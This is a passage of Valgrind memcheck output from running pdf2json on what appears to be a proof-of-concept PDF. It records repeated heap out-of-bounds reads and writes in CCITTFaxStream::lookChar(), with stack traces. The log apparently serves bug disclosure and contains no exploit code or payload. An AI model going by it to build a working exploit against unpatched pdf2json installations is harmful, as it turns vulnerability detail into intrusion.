int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x43154B: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid write of size 2 ==15436== at 0x431556: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100be is 2 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431581: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100be is 2 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x4315F5: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100be is 2 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Error (5428): Bad white code (000b) in CCITTFax stream ==15436== Invalid read of size 2 ==15436== at 0x43165C: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b1040a is 22 bytes before a block of size 8 alloc'd ==15436== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x40A204: GfxDeviceGrayColorSpace::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41AF23: GfxState::GfxState(GfxState*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41CDB8: GfxState::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41C749: GfxState::save() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BC1: Gfx::saveState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A586: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431688: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b1040a is 22 bytes before a block of size 8 alloc'd ==15436== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x40A204: GfxDeviceGrayColorSpace::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41AF23: GfxState::GfxState(GfxState*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41CDB8: GfxState::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41C749: GfxState::save() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BC1: Gfx::saveState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A586: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== Error (5585): CCITTFax row is wrong length (101) ==15436== Invalid read of size 2 ==15436== at 0x4316CF: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b1040a is 22 bytes before a block of size 8 alloc'd ==15436== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x40A204: GfxDeviceGrayColorSpace::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41AF23: GfxState::GfxState(GfxState*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41CDB8: GfxState::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41C749: GfxState::save() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BC1: Gfx::saveState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A586: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== ==15436== Invalid write of size 2 ==15436== at 0x431722: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b1040a is 22 bytes before a block of size 8 alloc'd ==15436== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x40A204: GfxDeviceGrayColorSpace::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41AF23: GfxState::GfxState(GfxState*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41CDB8: GfxState::copy() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x41C749: GfxState::save() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x467BC1: Gfx::saveState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A586: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40269A: main (pdf2json.cc:275) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x431C78: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) 